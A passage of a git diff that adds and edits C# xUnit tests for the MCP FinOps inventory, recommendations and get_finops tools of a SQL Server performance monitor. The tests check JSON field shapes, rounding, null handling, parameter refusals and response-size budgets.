+        var metrics = new ServerMetricsDto(cpu is double c ? (decimal)c : null, 10m, 0, "RIGHT_SIZED", fleetScore);
+        var row = Row(Dto(), metrics);
+        var expectedScore = metrics.HealthScore;
+        if (expectedScore is not int score)
+        {
+            /* No CPU sample: a dash (null score and band) with the note, never a score built from the memory and storage defaults. */
+            Assert.Null(cpu);
+            // The wire writes no null fields, so a missing key and a null are the same dash.
+            Assert.False(row.TryGetProperty("health_score", out var scoreField) && scoreField.ValueKind != System.Text.Json.JsonValueKind.Null);
+            Assert.False(row.TryGetProperty("health_band", out var bandField) && bandField.ValueKind != System.Text.Json.JsonValueKind.Null);
+            Assert.Equal(FinOpsHealthCalculator.NoInventoryScoreNote, row.GetProperty("health_score_note").GetString());
+            Assert.Contains("memory sample", row.GetProperty("health_score_note").GetString()!, StringComparison.Ordinal);
+            return;
+        }
+
+        Assert.Equal(score, row.GetProperty("health_score").GetInt32());
+        Assert.Equal(FinOpsUtilizationFigures.HealthBand(score), row.GetProperty("health_band").GetString());
+        Assert.Equal(band, row.GetProperty("health_band").GetString());
+    }
+
+    [Fact]
+    public void Row_CostsTimesAndRounding_FollowTheContract()
+    {
+        var row = Row(Dto(monthly: 100m), new ServerMetricsDto(12.25m, 3.05m, 4, "RIGHT_SIZED"));
+        Assert.Equal(100m, row.GetProperty("monthly_cost_usd").GetDecimal());
+        Assert.Equal(1200m, row.GetProperty("annual_cost_usd").GetDecimal());
+        Assert.Equal(12.3m, row.GetProperty("avg_cpu_pct").GetDecimal());
+        Assert.Equal(3.1m, row.GetProperty("storage_total_gb").GetDecimal());
+        Assert.Equal("2026-10-01T12:30:15Z", row.GetProperty("inventory_as_of").GetString());
+        Assert.Equal("2026-10-02T08:00:00Z", row.GetProperty("last_collected").GetString());
+        Assert.Equal("2026-09-01T03:04:05", row.GetProperty("sqlserver_start_time_local").GetString());
+        Assert.Equal("active", row.GetProperty("monitoring").GetString());
+        Assert.False(row.TryGetProperty("server_id", out _));
+        Assert.False(row.TryGetProperty("uptime", out _));
+    }
+
+    [Fact]
+    public void Row_NoOverlay_LeavesTheMetricCellsNull_AndStoppedServersSaySo()
+    {
+        var row = Row(Dto(enabled: false), default);
+        Assert.Equal("stopped", row.GetProperty("monitoring").GetString());
+        Assert.False(row.TryGetProperty("avg_cpu_pct", out _), "avg_cpu_pct is left out");
+        Assert.False(row.TryGetProperty("storage_total_gb", out _), "storage_total_gb is left out");
+        Assert.False(row.TryGetProperty("idle_db_count", out _), "idle_db_count is left out");
+    }
+
+    [Fact]
+    public void Row_AzureSqlDatabase_NullsTheHostHardware_AndNeverWarnsOnItsMemory()
+    {
+        var row = Row(Dto(edition: "Azure SQL Database (Standard)", engineEdition: 5, cpus: 2, memoryMb: 934000), default);
+        Assert.False(row.TryGetProperty("physical_memory_mb", out _), "physical_memory_mb is left out");
+        Assert.False(row.TryGetProperty("socket_count", out _), "socket_count is left out");
+        Assert.False(row.TryGetProperty("cores_per_socket", out _), "cores_per_socket is left out");
+        Assert.False(row.TryGetProperty("license_warning", out _), "license_warning is left out");
+        Assert.Equal(2, row.GetProperty("cpu_count").GetInt32());
+        Assert.Equal("host_scoped", row.GetProperty("hardware_note").GetString());
+    }
+
+    [Fact]
+    public void Legend_IsEmittedOnlyWhenARowCarriesTheCode_AndHoldsTheFullNote()
+    {
+        var withCode = JsonSerializer.SerializeToElement(Envelope(new[] { Dto(edition: "Azure SQL Database (Standard)", engineEdition: 5, cpus: 2) }), DarlingMcpFinOpsInventoryTools.WireOptions);
+        Assert.Equal(ServerHardwareScope.InventoryHardwareNote, withCode.GetProperty("hardware_note_legend").GetProperty("host_scoped").GetString());
+        var without = JsonSerializer.SerializeToElement(Envelope(new[] { Dto() }), DarlingMcpFinOpsInventoryTools.WireOptions);
+        Assert.False(without.TryGetProperty("hardware_note_legend", out _));
+    }
+
+    private static object Envelope(ServerInventoryDto[] dtos) => DarlingMcpFinOpsInventoryTools.Envelope(
+        "server_inventory", dtos.Length, dtos, new System.Collections.Generic.Dictionary<int, ServerMetricsDto>());
+
+    [Fact]
+    public void Row_DeniedHardwareRead_NullsAllFourHardwareFields_NeverZero()
+    {
+        var row = Row(Dto(cpus: 0, memoryMb: 0, note: "unavailable - VIEW SERVER STATE"), default);
+        Assert.False(row.TryGetProperty("cpu_count", out _));
+        Assert.False(row.TryGetProperty("physical_memory_mb", out _));
+        Assert.False(row.TryGetProperty("socket_count", out _));
+        Assert.False(row.TryGetProperty("cores_per_socket", out _));
+        Assert.Equal("unavailable - VIEW SERVER STATE", row.GetProperty("hardware_note").GetString());
+        var plain = Row(Dto(cpus: 0, memoryMb: 0), default);
+        Assert.Equal(0, plain.GetProperty("cpu_count").GetInt32());
+        Assert.Equal(0, plain.GetProperty("physical_memory_mb").GetInt64());
+    }
+
+    [Fact]
+    public void Row_StandardEditionOverTheCaps_CarriesTheLicenseWarning()
+    {
+        var row = Row(Dto(edition: "Standard Edition (64-bit)", cpus: 32, memoryMb: 262144), default);
+        Assert.Equal("CPU: 32 cores (Standard limited to 24); RAM: 256GB (Standard limited to 128GB)",
+            row.GetProperty("license_warning").GetString());
+    }
+
+    /// <summary>The widest on-premises row: Standard edition, a two-part license warning, long version and OS strings.</summary>
+    private static ServerInventoryDto OnPremDto(int n) =>
+        new(n, "prod-sql-cluster-" + n.ToString("D3") + ".corp.example.internal\\INSTANCE_NAME_LONG", "Standard Edition (64-bit)",
+            "16.0.4175.1 - RTM-CU18-GDR (KB5046861)", 3, 48, 524288L, null, 4, 12, true, true,
+            new DateTime(2026, 10, 1, 12, 30, 15, DateTimeKind.Unspecified), new DateTime(2026, 9, 1, 3, 4, 5, DateTimeKind.Unspecified),
+            "Windows Server 2022 Datacenter 10.0 <X64> (Build 20348: ) (Hypervisor)", "SECONDARY", true, 12345.67m,
+            new DateTime(2026, 10, 2, 8, 0, 0, DateTimeKind.Unspecified));
+
+    /// <summary>The widest Azure SQL Database row: the host-scoped code, a long name, a Standard-tier edition.</summary>
+    private static ServerInventoryDto AzureDto(int n) =>
+        new(n, "prod-sql-server-" + n.ToString("D3") + ".database.windows.net\\ELASTIC_POOL_DATABASE_NAME", "Azure SQL Database (Standard)",
+            "12.0.2000.8 - Azure SQL Database", 5, 8, 934000L, null, null, null, true, false,
+            new DateTime(2026, 10, 1, 12, 30, 15, DateTimeKind.Unspecified), new DateTime(2026, 9, 1, 3, 4, 5, DateTimeKind.Unspecified),
+            "", "PRIMARY", true, 12345.67m, new DateTime(2026, 10, 2, 8, 0, 0, DateTimeKind.Unspecified));
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void DefaultLimit_OfTheWidestRowOfEachType_FitsTheDefaultResponseBudget(bool azure)
+    {
+        var metrics = new ServerMetricsDto(63.45m, 98765.4m, 12, "RIGHT_SIZED", 87);
+        var page = Enumerable.Range(1, DarlingMcpFinOpsInventoryTools.DefaultLimit)
+            .Select(n => azure ? AzureDto(n) : OnPremDto(n)).ToList();
+        var byId = page.ToDictionary(d => d.ServerId, _ => metrics);
+        var body = JsonSerializer.Serialize(DarlingMcpFinOpsInventoryTools.Envelope("server_inventory", 999, page, byId),
+            DarlingMcpFinOpsInventoryTools.WireOptions);
+        var bytes = System.Text.Encoding.UTF8.GetByteCount(body);
+        Assert.True(bytes <= 30 * 1024, $"{page.Count} widest rows (azure={azure}) serialize to {bytes} bytes");
+        Assert.True(bytes <= McpResponseBudget.DefaultBytes);
+        Assert.Equal(azure, body.Contains("\"hardware_note_legend\"", StringComparison.Ordinal));
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpFinOpsRecommendationsToolsTests.cs b/Darling/Darling.Tests/DarlingMcpFinOpsRecommendationsToolsTests.cs
new file mode 100644
index 0000000000..92f25297b2
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpFinOpsRecommendationsToolsTests.cs
@@ -0,0 +1,150 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins for <c>get_finops_recommendations</c> that need no store: the tool surface, the row and envelope shape on
+/// hand-built records, and the culture pin.
+/// </summary>
+public sealed class DarlingMcpFinOpsRecommendationsToolsTests
+{
+    private static FinOpsRecommendation Rec(decimal? savings, string category = "Hardware") =>
+        new(category, "High", "Medium", "a finding", "some detail", savings);
+
+    private static JsonElement Json(object o) => JsonSerializer.SerializeToElement(o, McpHelpers.JsonOptions);
+
+    [Fact]
+    public void ToolSurface_ExactlyGetFinOpsRecommendations_WithOnlyServerName()
+    {
+        var methods = typeof(DarlingMcpFinOpsRecommendationsTools)
+            .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)
+            .Where(m => m.GetCustomAttribute<McpServerToolAttribute>() is not null)
+            .ToArray();
+        Assert.Equal(new[] { "get_finops_recommendations" }, methods.Select(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name).ToArray());
+        Assert.NotNull(typeof(DarlingMcpFinOpsRecommendationsTools).GetCustomAttribute<McpServerToolTypeAttribute>());
+        var method = methods.Single();
+        Assert.True(method.IsStatic);
+        Assert.Equal(typeof(Task<string>), method.ReturnType);
+
+        var parameters = method.GetParameters();
+        Assert.Equal(new[] { "postgres", "server_name", "cancellationToken" }, parameters.Select(p => p.Name).ToArray());
+        Assert.Equal(typeof(NpgsqlDataSource), parameters[0].ParameterType);
+        Assert.Equal(typeof(CancellationToken), parameters[2].ParameterType);
+        Assert.True(parameters[1].HasDefaultValue);
+        Assert.Null(parameters[1].DefaultValue);
+        Assert.Equal(new[] { "server_name" }, parameters.Where(p => p.GetCustomAttribute<DescriptionAttribute>() is not null).Select(p => p.Name).ToArray());
+    }
+
+    [Fact]
+    public void RecommendationRow_HasExactlyTheSixKeys()
+    {
+        var row = Json(DarlingMcpFinOpsRecommendationsTools.RecommendationRow(Rec(12.5m)));
+        Assert.Equal(
+            new[] { "category", "severity", "confidence", "finding", "detail", "est_savings_usd_month" },
+            row.EnumerateObject().Select(p => p.Name).ToArray());
+        Assert.Equal("Hardware", row.GetProperty("category").GetString());
+        Assert.Equal(12.5m, row.GetProperty("est_savings_usd_month").GetDecimal());
+    }
+
+    [Theory]
+    [InlineData("3333.33333", "3333.33")]
+    [InlineData("2.345", "2.35")]
+    public void Savings_RoundToCents_AwayFromZero(string raw, string expected)
+    {
+        var row = Json(DarlingMcpFinOpsRecommendationsTools.RecommendationRow(Rec(decimal.Parse(raw, CultureInfo.InvariantCulture))));
+        Assert.Equal(decimal.Parse(expected, CultureInfo.InvariantCulture), row.GetProperty("est_savings_usd_month").GetDecimal());
+    }
+
+    [Fact]
+    public void NullSavings_AreWrittenAsJsonNull()
+    {
+        var row = Json(DarlingMcpFinOpsRecommendationsTools.RecommendationRow(Rec(null)));
+        Assert.Equal(JsonValueKind.Null, row.GetProperty("est_savings_usd_month").ValueKind);
+    }
+
+    [Fact]
+    public void Envelope_WithNoMonthlyCost_NullsTheCostAndSaysWhy()
+    {
+        var env = Json(DarlingMcpFinOpsRecommendationsTools.Envelope("alpha", 0m, ["Storage tier"], [Rec(null, "B"), Rec(1m, "A")]));
+        Assert.Equal(
+            new[] { "server", "monthly_cost_usd", "cost_reason", "recommendation_count", "skipped_checks", "secondary_replica_note", "recommendations" },
+            env.EnumerateObject().Select(p => p.Name).ToArray());
+        Assert.Equal("alpha", env.GetProperty("server").GetString());
+        Assert.Equal(JsonValueKind.Null, env.GetProperty("monthly_cost_usd").ValueKind);
+        Assert.Equal("monthly cost not set", env.GetProperty("cost_reason").GetString());
+        Assert.Equal(2, env.GetProperty("recommendation_count").GetInt32());
+        Assert.Equal(new[] { "Storage tier" }, env.GetProperty("skipped_checks").EnumerateArray().Select(e => e.GetString()).ToArray());
+        Assert.Equal(new[] { "B", "A" }, env.GetProperty("recommendations").EnumerateArray().Select(e => e.GetProperty("category").GetString()).ToArray());
+    }
+
+    [Fact]
+    public void Envelope_WithASecondaryNote_WritesItBetweenSkippedChecksAndTheRows_AndWithoutOneWritesNull()
+    {
+        var note = AgReplicaScope.SkippedNote(2);
+        var with = Json(DarlingMcpFinOpsRecommendationsTools.Envelope("alpha", 1000m, [], [Rec(1m, "A")], note));
+        Assert.Equal(
+            new[] { "server", "monthly_cost_usd", "cost_reason", "recommendation_count", "skipped_checks", "secondary_replica_note", "recommendations" },
+            with.EnumerateObject().Select(p => p.Name).ToArray());
+        Assert.Equal(note, with.GetProperty("secondary_replica_note").GetString());
+
+        /* #5558: one convention across every MCP note: the key is always there, null when nothing was skipped. */
+        var without = Json(DarlingMcpFinOpsRecommendationsTools.Envelope("alpha", 1000m, [], [Rec(1m, "A")], null));
+        Assert.Equal(JsonValueKind.Null, without.GetProperty("secondary_replica_note").ValueKind);
+        Assert.Equal(
+            new[] { "server", "monthly_cost_usd", "cost_reason", "recommendation_count", "skipped_checks", "secondary_replica_note", "recommendations" },
+            without.EnumerateObject().Select(p => p.Name).ToArray());
+    }
+
+    [Fact]
+    public void Envelope_WithAMonthlyCost_CarriesItAndNoReason()
+    {
+        var env = Json(DarlingMcpFinOpsRecommendationsTools.Envelope("alpha", 1000m, [], []));
+        Assert.Equal(1000m, env.GetProperty("monthly_cost_usd").GetDecimal());
+        Assert.Equal(JsonValueKind.Null, env.GetProperty("cost_reason").ValueKind);
+        Assert.Equal(0, env.GetProperty("recommendation_count").GetInt32());
+        Assert.Empty(env.GetProperty("skipped_checks").EnumerateArray());
+        Assert.Empty(env.GetProperty("recommendations").EnumerateArray());
+    }
+
+    [Fact]
+    public async Task InInvariantCulture_PinsTheBody_AndRestoresTheCallersCulture()
+    {
+        var saved = CultureInfo.CurrentCulture;
+        try
+        {
+            /* P0 reads "20 %" in de-DE too, so it cannot tell the cultures apart; N1 groups and separates differently. */
+            var german = CultureInfo.GetCultureInfo("de-DE");
+            CultureInfo.CurrentCulture = german;
+            var text = await DarlingMcpFinOpsRecommendationsTools.InInvariantCultureAsync(
+                () => Task.FromResult(string.Format("{0:N1}", 1234.5m)));
+            Assert.Equal(string.Format(CultureInfo.InvariantCulture, "{0:N1}", 1234.5m), text);
+            Assert.NotEqual(string.Format(german, "{0:N1}", 1234.5m), text);
+            Assert.Equal("de-DE", CultureInfo.CurrentCulture.Name);
+        }
+        finally
+        {
+            CultureInfo.CurrentCulture = saved;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpFinOpsToolsTests.cs b/Darling/Darling.Tests/DarlingMcpFinOpsToolsTests.cs
new file mode 100644
index 0000000000..774e1f7146
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpFinOpsToolsTests.cs
@@ -0,0 +1,213 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins for <c>get_finops</c>: the tool surface, the closed view set, the refusals, the empty answer, the
+/// impact band's cut points, and (live) that every row equals the storage read's on the same seed.
+/// </summary>
+/* #1776 own-store: both live facts (the refusal fact and LiveParity) mint their own scratch database through ScratchPostgres; the rest touch no store. */
+public sealed class DarlingMcpFinOpsToolsTests
+{
+    private static MethodInfo[] ToolMethods() => typeof(DarlingMcpFinOpsTools)
+        .GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)
+        .Where(m => m.GetCustomAttribute<McpServerToolAttribute>() is not null)
+        .ToArray();
+
+    [Fact]
+    public void ToolSurface_ExactlyGetFinOps_WithItsParametersAndClosedViewSet()
+    {
+        var methods = ToolMethods();
+        Assert.Equal(new[] { "get_finops" }, methods.Select(m => m.GetCustomAttribute<McpServerToolAttribute>()!.Name).ToArray());
+        Assert.NotNull(typeof(DarlingMcpFinOpsTools).GetCustomAttribute<McpServerToolTypeAttribute>());
+        var method = methods.Single();
+        Assert.True(method.IsStatic);
+        Assert.Equal(typeof(Task<string>), method.ReturnType);
+
+        var described = method.GetParameters().Where(p => p.GetCustomAttribute<DescriptionAttribute>() is not null).ToArray();
+        Assert.Equal(new[] { "view", "server_name", "hours_back", "limit", "database_name", "full_text", "object_name" }, described.Select(p => p.Name).ToArray());
+        Assert.False(described.Single(p => p.Name == "view").HasDefaultValue, "view is required");
+        Assert.Equal(24, described.Single(p => p.Name == "hours_back").DefaultValue);
+        Assert.Equal(10, described.Single(p => p.Name == "limit").DefaultValue);
+
+        // Each set asserts its own views on its own lines, so two series never edit the same line.
+        // FinOps web parity (#4843), set A: list your views below this line only.
+        var setAViews = new[] { "utilization", "index_analysis" };
+        // FinOps web parity (#4843), set A ends.
+        // Set A and set B are separated on purpose: keep this gap.
+        //
+        //
+        //
+        // FinOps web parity (#4843), set B: list your views below this line only.
+        var setBViews = new[] { "high_impact", "database_resources", "application_connections", "optimization", "storage_growth", "database_sizes" };
+        // FinOps web parity (#4843), set B ends.
+        var valid = DarlingMcpFinOpsTools.SetAValid + DarlingMcpFinOpsTools.SetBValid;
+        foreach (var view in setAViews.Concat(setBViews))
+        {
+            Assert.Contains(view, DarlingMcpFinOpsTools.Views);
+            Assert.Contains(view, valid, StringComparison.Ordinal);
+        }
+        Assert.Equal(setAViews.Length + setBViews.Length, DarlingMcpFinOpsTools.Views.Length);
+        Assert.Equal(DarlingMcpFinOpsTools.Views.Length, DarlingMcpFinOpsTools.Views.Distinct().Count());
+    }
+
+    /* #5238: the served limit text is read by a caller who has not picked a view yet, and the views do not share a maximum: the top-N views stop
+       at 50, database_sizes, index_analysis and storage_growth's databases level take 500, storage_growth's objects level refuses over 20. So
+       the text names the default and sends the caller to the view's own maximum (the refusal text and the guide tail name it), and it names no
+       one range: "1-50" told a caller that 50 was the top of every view. It is 59 characters, so param get_finops.limit in the tools/list budget
+       file does not move. */
+    [Fact]
+    public void LimitDescription_NamesTheDefault_AndSaysEachViewHasItsOwnMax_NotOneRange()
+    {
+        var limit = ToolMethods().Single().GetParameters().Single(p => p.Name == "limit");
+        var text = limit.GetCustomAttribute<DescriptionAttribute>()!.Description;
+        Assert.Equal("Most rows per list (default 10); each view has its own max.", text);
+        Assert.DoesNotContain("1-50", text, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(0, "low")]
+    [InlineData(59, "low")]
+    [InlineData(60, "medium")]
+    [InlineData(79, "medium")]
+    [InlineData(80, "high")]
+    [InlineData(100, "high")]
+    public void ImpactBand_UsesTheViewersCutPoints(int score, string band)
+    {
+        Assert.Equal(band, HighImpactScorer.HighImpactBand(score));
+    }
+
+    [Fact]
+    public async Task Refusals_NameTheParameter_AndAnUnknownViewListsTheValidOnes()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the get_finops refusal facts.");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(cs!, ct);
+        using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, FinOpsHighImpactReaderLiveTests.ServerId, FinOpsHighImpactReaderLiveTests.ServerName, ct);
+        }
+
+        await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var name = FinOpsHighImpactReaderLiveTests.ServerName;
+
+        var unknownView = await DarlingMcpFinOpsTools.GetFinOps(postgres, "nope", name, cancellationToken: ct);
+        Assert.True(McpHelpers.IsRefusalEnvelope(unknownView), unknownView);
+        var message = JsonDocument.Parse(unknownView).RootElement.GetProperty("message").GetString()!;
+        Assert.Contains("'nope'", message, StringComparison.Ordinal);
+        Assert.Contains("high_impact", message, StringComparison.Ordinal);
+        Assert.Equal("view", JsonDocument.Parse(unknownView).RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+
+        foreach (var badHours in new[] { 0, -1, 169 })
+        {
+            var refused = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", name, hours_back: badHours, cancellationToken: ct);
+            Assert.True(McpHelpers.IsRefusalEnvelope(refused), $"hours_back {badHours}: {refused}");
+            Assert.Equal("hours_back", JsonDocument.Parse(refused).RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        }
+
+        foreach (var badLimit in new[] { 0, -1, 51 })
+        {
+            var refused = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", name, limit: badLimit, cancellationToken: ct);
+            Assert.True(McpHelpers.IsRefusalEnvelope(refused), $"limit {badLimit}: {refused}");
+            Assert.Equal("limit", JsonDocument.Parse(refused).RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        }
+
+        var wrongViewDatabase = await DarlingMcpFinOpsTools.GetFinOps(postgres, "utilization", name, database_name: "db", cancellationToken: ct);
+        Assert.Equal("database_name", JsonDocument.Parse(wrongViewDatabase).RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        var wrongViewText = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", name, full_text: true, cancellationToken: ct);
+        Assert.Equal("full_text", JsonDocument.Parse(wrongViewText).RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+        var staleWindow = await DarlingMcpFinOpsTools.GetFinOps(postgres, "index_analysis", name, hours_back: 48, cancellationToken: ct);
+        Assert.Equal("hours_back", JsonDocument.Parse(staleWindow).RootElement.GetProperty("hints").GetProperty("parameter").GetString());
+
+        var unknownServer = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", "no-such-server", cancellationToken: ct);
+        Assert.Equal("invalid", DarlingMcpTestData.StatusOf(unknownServer));
+
+        // A server with no query statistics answers empty (or not_collected), never an error.
+        var empty = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", name, cancellationToken: ct);
+        Assert.False(McpHelpers.IsErrorEnvelope(empty), empty);
+        Assert.Contains(DarlingMcpTestData.StatusOf(empty), new[] { "empty", "not_collected" });
+    }
+
+    /* #1776 own-store: the fact seeds its own scratch database, so nothing here shares rows with another test. */
+    public sealed class LiveParity
+    {
+        [Fact]
+        public async Task EveryRow_EqualsTheStorageRead_OnTheSameSeed_InTheSameOrder()
+        {
+            var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live get_finops parity fact.");
+            var ct = TestContext.Current.CancellationToken;
+            await using var scratch = await FinOpsHighImpactReaderLiveTests.SeedAsync(cs!, ct);
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            var expected = await DarlingFinOpsHighImpactReader.ReadAsync(postgres, FinOpsHighImpactReaderLiveTests.ServerId, 24, 60, ct);
+            var json = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", FinOpsHighImpactReaderLiveTests.ServerName, cancellationToken: ct);
+            Assert.False(McpHelpers.IsErrorEnvelope(json), json);
+
+            var root = JsonDocument.Parse(json).RootElement;
+            Assert.Equal(FinOpsHighImpactReaderLiveTests.ServerName, root.GetProperty("server").GetString());
+            Assert.Equal("high_impact", root.GetProperty("view").GetString());
+            Assert.Equal(24, root.GetProperty("hours_back").GetInt32());
+            var rows = root.GetProperty("rows").EnumerateArray().ToArray();
+            Assert.Equal(expected.Count, rows.Length);
+            Assert.NotEmpty(rows);
+            for (var i = 0; i < rows.Length; i++)
+            {
+                var e = expected[i];
+                var r = rows[i];
+                Assert.Equal(e.QueryHash, r.GetProperty("query_hash").GetString());
+                Assert.Equal(e.DatabaseName, r.GetProperty("database_name").GetString());
+                Assert.Equal(e.TotalExecutions, r.GetProperty("total_executions").GetInt64());
+                Assert.Equal(e.TotalCpuMs, r.GetProperty("total_cpu_ms").GetDecimal());
+                Assert.Equal(e.TotalDurationMs, r.GetProperty("total_duration_ms").GetDecimal());
+                Assert.Equal(e.TotalReads, r.GetProperty("total_reads").GetInt64());
+                Assert.Equal(e.TotalWrites, r.GetProperty("total_writes").GetInt64());
+                Assert.Equal(e.TotalMemoryMb, r.GetProperty("total_memory_mb").GetDecimal());
+                Assert.Equal(e.CpuShare, r.GetProperty("cpu_share_pct").GetDecimal());
+                Assert.Equal(e.DurationShare, r.GetProperty("duration_share_pct").GetDecimal());
+                Assert.Equal(e.ReadsShare, r.GetProperty("reads_share_pct").GetDecimal());
+                Assert.Equal(e.WritesShare, r.GetProperty("writes_share_pct").GetDecimal());
+                Assert.Equal(e.MemoryShare, r.GetProperty("memory_share_pct").GetDecimal());
+                Assert.Equal(e.ExecutionsShare, r.GetProperty("executions_share_pct").GetDecimal());
+                Assert.Equal(e.ImpactScore, r.GetProperty("impact_score").GetInt32());
+                Assert.Equal(HighImpactScorer.HighImpactBand(e.ImpactScore), r.GetProperty("impact_band").GetString());
+                Assert.Equal(e.SampleQueryText, r.GetProperty("sample_query_text").GetString());
+                Assert.Equal(!string.IsNullOrEmpty(e.QueryPlanXml), r.GetProperty("has_plan").GetBoolean());
+                Assert.False(r.TryGetProperty("full_query_text", out _));
+                Assert.False(r.TryGetProperty("query_plan_xml", out _));
+            }
+
+            // limit reaches the reader's topN: two kept per measure is a strict subset, in the reader's order.
+            var narrow = await DarlingFinOpsHighImpactReader.ReadAsync(postgres, FinOpsHighImpactReaderLiveTests.ServerId, 24, 60, ct, topN: 2);
+            var narrowJson = await DarlingMcpFinOpsTools.GetFinOps(postgres, "high_impact", FinOpsHighImpactReaderLiveTests.ServerName, limit: 2, cancellationToken: ct);
+            Assert.False(McpHelpers.IsErrorEnvelope(narrowJson), narrowJson);
+            var narrowRows = JsonDocument.Parse(narrowJson).RootElement.GetProperty("rows").EnumerateArray().ToArray();
+            Assert.Equal(narrow.Select(q => q.QueryHash).ToArray(), narrowRows.Select(r => r.GetProperty("query_hash").GetString()).ToArray());
+            Assert.NotEmpty(narrowRows);
+            Assert.True(narrowRows.Length < rows.Length, $"limit 2 returned {narrowRows.Length} rows, the default {rows.Length}");
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs b/Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs
index d6ac043ba0..f0d2804628 100644
--- a/Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpHealthParserToolsTests.cs
@@ -83,7 +83,11 @@ public void ParamContract_EveryTool_ServerNameHoursBackLimit_AllOptional()
                 .Where(x => x.GetCustomAttribute<DescriptionAttribute>() is not null)
                 .Select(x => (x.Name!, x.HasDefaultValue))
                 .ToArray();
-            Assert.Equal(new[] { "server_name", "hours_back", "limit", "as_of" }, p.Select(x => x.Item1).ToArray());
+            /* #5244 PR6: get_health_parser_severe_errors takes database_name, appended last. */
+            var expected = tool == "get_health_parser_severe_errors"
+                ? new[] { "server_name", "hours_back", "limit", "as_of", "database_name" }
+                : new[] { "server_name", "hours_back", "limit", "as_of" };
+            Assert.Equal(expected, p.Select(x => x.Item1).ToArray());
             Assert.All(p, x => Assert.True(x.Item2, $"{tool}.{x.Item1} must be optional"));
         }
     }
@@ -103,16 +107,6 @@ public void EventsByTypeSql_WindowsOnEventTime_ByServerAndType()
         Assert.Contains("ORDER BY event_time DESC", sql, StringComparison.Ordinal);
     }
 
-    [Fact]
-    public void DatabaseNameMapSql_LatestNamePerId_FromSizeStatsView()
-    {
-        var sql = DarlingSystemHealthReader.DatabaseNameMapSql;
-        Assert.Contains("DISTINCT ON (database_id)", sql, StringComparison.Ordinal);
-        Assert.Contains("FROM v_database_size_stats", sql, StringComparison.Ordinal);
-        Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY database_id, collection_time DESC", sql, StringComparison.Ordinal);
-    }
-
     /// <summary>
     /// #2484 → #3541 A12: the probes that let an empty parse-on-read answer say WHICH nothing it found must
     /// read the SAME source the read itself reads. A probe on the base table would report a server as
@@ -149,7 +143,6 @@ public void TheWitnessProbes_ReadTheSameView_AreWindowless_AndSayWhen()
 
     [Theory]
     [InlineData(nameof(DarlingSystemHealthReader.SystemHealthEventsByTypeSql))]
-    [InlineData(nameof(DarlingSystemHealthReader.DatabaseNameMapSql))]
     [InlineData(nameof(DarlingSystemHealthReader.LastCaptureSql))]
     [InlineData(nameof(DarlingSystemHealthReader.LastCaptureOfTypeSql))]
     public void Reads_ArePostgresDialect_PositionalParams(string sqlName)
@@ -342,19 +335,6 @@ public void SystemHealth_IsUngated_KeptWhenEventTimePresent()
         Assert.Equal("CLEAN", r.State);
         Assert.True(r.EventTime.HasValue);
     }
-
-    [Fact]
-    public void SevereError_DatabaseNameResolution_MatchesViewer()
-    {
-        // Same rules as the viewer's ViewerDataService.ResolveDatabaseName: mapped id → name; 0/null → blank
-        // (no DB context); a real-but-unmapped id surfaces the raw id rather than silently blanking.
